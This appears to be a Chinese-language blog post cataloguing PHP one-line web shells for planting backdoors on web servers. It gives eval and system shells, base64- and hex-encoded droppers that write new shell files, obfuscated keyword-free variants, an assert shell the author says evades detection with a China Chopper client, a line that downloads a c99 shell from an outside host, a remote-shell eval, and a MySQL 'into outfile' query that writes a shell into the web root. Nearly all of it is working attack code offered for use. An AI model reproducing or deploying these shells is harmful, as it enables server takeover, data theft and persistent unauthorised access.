一、基础类的一句话--功能仅限于验证漏洞了,实际中太容易被查出出来:

1 <?php @eval($_GET["code"])?>
2 <?php @system($_POST["cmd"])?>

相信一目了然可以看懂如何使用这类一句话。参考博主(https://www.cnblogs.com/KevinGeorge/)的博文

二、编码的替换的类型:

PHP结合SQL语句写一句话木马-LMLPHP
 1 <?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>
 2 //会生成<?php @eval($_POST['lostwolf']);?>
 3
 4 <script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>
 5 //php在html内部的一种嵌入方式
 6
 7 <?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>
 8
 9
10 <?php
11 session_start();
12 $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
13 $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>
PHP结合SQL语句写一句话木马-LMLPHP

三、乱七八糟类型的:

PHP结合SQL语句写一句话木马-LMLPHP
1 <?php $_GET[a]($_GET[b]);?>
2 //?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
3 <?php assert($_REQUEST["c"]);?>     //菜刀连接 躲避检测 密码c
4 <?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['c']);?>
5 //菜刀提交  http://192.168.1.5/x.php?x=lostwolf  脚本类型:php  密码为 c
PHP结合SQL语句写一句话木马-LMLPHP

四、下载类型的:

1 <?php echo copy("http://www.r57.me/c99.txt","lostwolf.php"); ?>
2
3 <? echo file_get_contents("..//cfg_database.php");?> //显示某文件
4
5 <? eval ( file_get_contents("远程shell")) ?> //运行远程shell

五、无关键函数类型:

PHP结合SQL语句写一句话木马-LMLPHP
 1 <?php
 2 $_="";
 3 $_[+""]='';
 4 $_="$_"."";
 5 $_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
 6 ?>
 7 <?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
 8 http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass
 9
10 <?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>
PHP结合SQL语句写一句话木马-LMLPHP

六、补充知识点:

SQL写一句话(MySQL)

1 select "<?php @system($_POST["cmd"]);?>" into outfile "/home/webaccount/projectname/www/*.php"
2 #前面是一句话内容 后面是绝对路径www下的PHP文件,同理其他脚本也可以
04-28 16:28